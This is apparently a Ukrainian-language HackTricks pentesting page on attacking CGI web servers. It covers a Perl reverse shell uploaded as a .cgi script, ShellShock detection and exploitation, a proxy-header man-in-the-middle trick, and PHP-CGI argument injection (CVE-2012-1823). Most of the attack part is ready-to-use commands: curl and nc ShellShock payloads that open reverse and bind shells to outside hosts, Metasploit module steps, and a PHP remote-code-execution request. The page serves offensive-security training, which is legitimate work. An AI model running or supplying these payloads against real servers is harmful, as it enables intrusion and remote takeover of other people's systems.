tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Інформація
CGI скрипти - це perl скрипти, тому, якщо ви зламали сервер, який може виконувати .cgi скрипти, ви можете завантажити perl зворотний шелл (/usr/share/webshells/perl/perl-reverse-shell.pl
), змінити розширення з .pl на .cgi, надати права на виконання (chmod +x
) і доступ до зворотного шеллу з веб-браузера для його виконання. Щоб перевірити наявність CGI вразливостей, рекомендується використовувати nikto -C all
(і всі плагіни)
ShellShock
ShellShock - це вразливість, яка впливає на широко використовувану Bash командну оболонку в операційних системах на базі Unix. Вона націлена на можливість Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції змінними середовища, які є динамічними іменованими значеннями, що впливають на те, як процеси працюють на комп'ютері. Зловмисники можуть експлуатувати це, прикріплюючи шкідливий код до змінних середовища, який виконується при отриманні змінної. Це дозволяє зловмисникам потенційно зламати систему.
Експлуатуючи цю вразливість, сторінка може викидати помилку.
Ви можете знайти цю вразливість, помітивши, що використовується стара версія Apache і cgi_mod (з папкою cgi) або використовуючи nikto.
Тест
Більшість тестів базуються на ехо чогось і очікують, що ця строка буде повернена у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, шукайте всі cgi сторінки та тестуйте їх.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (відображений, сліпий та поза каналом)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Експлуатація
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Проксі (MitM до запитів веб-сервера)
CGI створює змінну середовища для кожного заголовка в http запиті. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"
Оскільки змінна HTTP_PROXY може бути використана веб-сервером. Спробуйте надіслати заголовок, що містить: "Proxy: <IP_attacker>:<PORT>" і якщо сервер виконує будь-який запит під час сесії. Ви зможете захопити кожен запит, зроблений сервером.
Старий PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
В основному, якщо cgi активний і php "старий" (<5.3.12 / < 5.4.2) ви можете виконати код.
Щоб експлуатувати цю вразливість, вам потрібно отримати доступ до деякого PHP файлу веб-сервера без надсилання параметрів (особливо без надсилання символу "=").
Тоді, щоб протестувати цю вразливість, ви можете отримати доступ, наприклад, до /index.php?-s
(зверніть увагу на -s
) і код програми з'явиться у відповіді.
Тоді, щоб отримати RCE, ви можете надіслати цей спеціальний запит: /?-d allow_url_include=1 -d auto_prepend_file=php://input
і PHP код для виконання в тілі запиту. Приклад:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Більше інформації про вразливість та можливі експлойти: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.